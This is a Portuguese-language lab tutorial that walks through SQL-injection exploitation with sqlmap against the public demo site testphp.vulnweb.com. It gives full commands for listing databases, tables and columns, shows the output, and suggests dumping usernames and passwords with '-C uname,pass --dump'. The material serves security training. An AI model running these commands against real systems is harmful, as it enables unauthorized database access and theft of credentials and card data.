Introdução
Neste laboratório, você aprenderá a usar o sqlmap para enumerar nomes de colunas e seus tipos de dados de uma tabela específica dentro de um banco de dados. O sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção de SQL e a tomada de controle de servidores de banco de dados. Compreender como enumerar colunas é um passo crucial na exploração de bancos de dados, pois permite direcionar e extrair informações sensíveis com precisão. Focaremos no uso da flag -T para especificar a tabela alvo e da flag --columns para listar suas colunas.
Selecionar um Banco de Dados e Tabela Alvo para Enumeração
Nesta etapa, identificaremos um banco de dados alvo hipotético e uma tabela específica dentro dele da qual queremos enumerar colunas. Para fins deste laboratório, assumiremos que já identificamos uma URL vulnerável e um banco de dados chamado testdb contendo uma tabela chamada users.
Primeiro, vamos garantir que o sqlmap esteja disponível em seu sistema. Se não estiver, você pode instalá-lo usando apt.
sudo apt update
sudo apt install -y sqlmap
Agora, vamos simular um alvo vulnerável. Usaremos uma URL fictícia para fins de demonstração. Em um cenário do mundo real, esta seria uma URL suscetível a injeção de SQL.
Para este laboratório, usaremos a seguinte URL de placeholder: http://testphp.vulnweb.com/listproducts.php?cat=1. Este é um alvo vulnerável conhecido, frequentemente usado para testes. Assumiremos que já identificamos um banco de dados chamado acuart e uma tabela chamada users dentro dele. Nosso objetivo é enumerar colunas da tabela users.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
Você deverá ver uma lista de bancos de dados, incluindo acuart. Isso confirma que nosso alvo é acessível e que o sqlmap pode interagir com ele.
...
[INFO] fetched data for all databases
available databases [2]:
[*] acuart
[*] information_schema
...
Em seguida, vamos confirmar as tabelas no banco de dados acuart.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables
Você deverá ver uma lista de tabelas, incluindo users.
...
[INFO] fetched data for all tables in database 'acuart'
Database: acuart
[10 tables]
+------------+
| artists |
| carts |
| categories |
| guestbook |
| pictures |
| products |
| users |
| ... |
+------------+
...
Isso confirma que o banco de dados acuart e a tabela users existem em nosso alvo.
Usar a Flag -T para Especificar a Tabela
Nesta etapa, aprenderemos a usar a flag -T no sqlmap para especificar a tabela alvo da qual queremos enumerar colunas. A flag -T é usada em conjunto com a flag -D (para banco de dados) para refinar o escopo de nossa enumeração.
A sintaxe básica para especificar uma tabela é:
sqlmap -u <url_alvo> -D <nome_do_banco_de_dados> -T <nome_da_tabela> [outras_opções]
Continuando da etapa anterior, identificamos o banco de dados acuart e a tabela users. Agora, prepararemos o comando sqlmap para direcionar esta tabela específica. Ainda não executaremos a enumeração completa, mas sim construiremos o comando.
Abra seu terminal no diretório ~/project.
echo 'sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users' > command_part1.txt
cat command_part1.txt
Este comando salva a parte inicial do nosso comando sqlmap em um arquivo chamado command_part1.txt e, em seguida, exibe seu conteúdo. Isso ajuda na construção de comandos complexos passo a passo.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users
Ao usar -D acuart -T users, estamos dizendo ao sqlmap para focar suas operações especificamente na tabela users dentro do banco de dados acuart. Isso é crucial para uma enumeração eficiente e direcionada.
Usar a Flag --columns para Listar Colunas
Nesta etapa, introduziremos a flag --columns, que é usada para instruir o sqlmap a enumerar os nomes das colunas e seus tipos de dados dentro da tabela especificada. Esta flag é essencial para entender a estrutura da tabela e identificar colunas potencialmente interessantes para extração de dados.
A flag --columns é anexada ao comando que começamos a construir na etapa anterior.
A sintaxe completa será:
sqlmap -u <url_alvo> -D <nome_do_banco_de_dados> -T <nome_da_tabela> --columns
Vamos adicionar a flag --columns ao nosso comando.
echo ' --columns' >> command_part1.txt
cat command_part1.txt
Agora, o arquivo command_part1.txt deverá conter o comando sqlmap completo para enumerar colunas da tabela users.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns
A flag --columns diz ao sqlmap para realizar um tipo específico de enumeração: listar todas as colunas disponíveis na tabela alvo. Este é um recurso poderoso que ajuda a mapear o esquema do banco de dados.
Executar o Comando para Enumerar Colunas
Nesta etapa, executaremos o comando completo do sqlmap que construímos nas etapas anteriores. Este comando instruirá o sqlmap a se conectar à URL alvo, identificar o banco de dados acuart, direcionar a tabela users e, em seguida, enumerar todas as colunas dentro dessa tabela.
Certifique-se de que você está no diretório ~/project.
bash command_part1.txt
Após a execução, o sqlmap iniciará seu processo. Ele pode fazer algumas perguntas durante o processo, como se deve usar um payload específico ou continuar com as opções padrão. Para este laboratório, você geralmente pode pressionar Enter para aceitar as escolhas padrão ou y para sim, se solicitado.
...
[INFO] fetched data for all columns in table 'users' in database 'acuart'
Database: acuart
Table: users
[7 columns]
+----------+-----------+
| Column | Type |
+----------+-----------+
| email | varchar(50) |
| uname | varchar(20) |
| pass | varchar(20) |
| cc | varchar(20) |
| address | varchar(50) |
| name | varchar(50) |
| phone | varchar(20) |
+----------+-----------+
...
A saída exibirá uma tabela listando os nomes das colunas e seus tipos de dados correspondentes encontrados na tabela users. Este é o objetivo principal deste laboratório.
Revisar os Nomes das Colunas e seus Tipos de Dados
Nesta etapa final, revisaremos a saída do comando sqlmap executado na etapa anterior. Compreender os nomes das colunas enumeradas e seus tipos de dados é crucial para exploração ou análise posteriores.
Observe a saída do comando anterior. Você deverá ver uma tabela semelhante a esta:
Database: acuart
Table: users
[7 columns]
+----------+-----------+
| Column | Type |
+----------+-----------+
| email | varchar(50) |
| uname | varchar(20) |
| pass | varchar(20) |
| cc | varchar(20) |
| address | varchar(50) |
| name | varchar(50) |
| phone | varchar(20) |
+----------+-----------+
A partir desta saída, podemos identificar várias colunas importantes:
email: Provavelmente armazena endereços de e-mail dos usuários.uname: Provavelmente armazena nomes de usuário.pass: Provavelmente armazena senhas de usuário (ou hashes de senha).cc: Potencialmente armazena informações de cartão de crédito.address: Armazena endereços de usuários.name: Armazena nomes completos de usuários.phone: Armazena números de telefone de usuários.
A coluna Type indica o tipo de dado de cada coluna (por exemplo, varchar(50) significa uma string de comprimento variável de até 50 caracteres). Esta informação é vital para a criação de comandos sqlmap subsequentes, como a extração de dados de colunas específicas usando a flag -C. Por exemplo, para extrair nomes de usuário e senhas, você usaria -C uname,pass --dump.
Esta etapa conclui o processo de enumeração de colunas de uma tabela específica usando sqlmap. Agora você tem uma compreensão clara de como direcionar tabelas específicas e recuperar suas estruturas de colunas.
Resumo
Neste laboratório, você aprendeu com sucesso a enumerar colunas de uma tabela específica usando sqlmap. Você começou identificando um banco de dados e tabela alvo, depois construiu progressivamente o comando sqlmap usando as flags -D (database), -T (table) e --columns. Finalmente, você executou o comando e revisou a saída, compreendendo a importância dos nomes das colunas enumeradas e seus tipos de dados. Esta habilidade é fundamental para qualquer pessoa que realize testes de penetração em bancos de dados ou avaliações de segurança, pois fornece as informações necessárias para extrair dados sensíveis de forma eficaz.
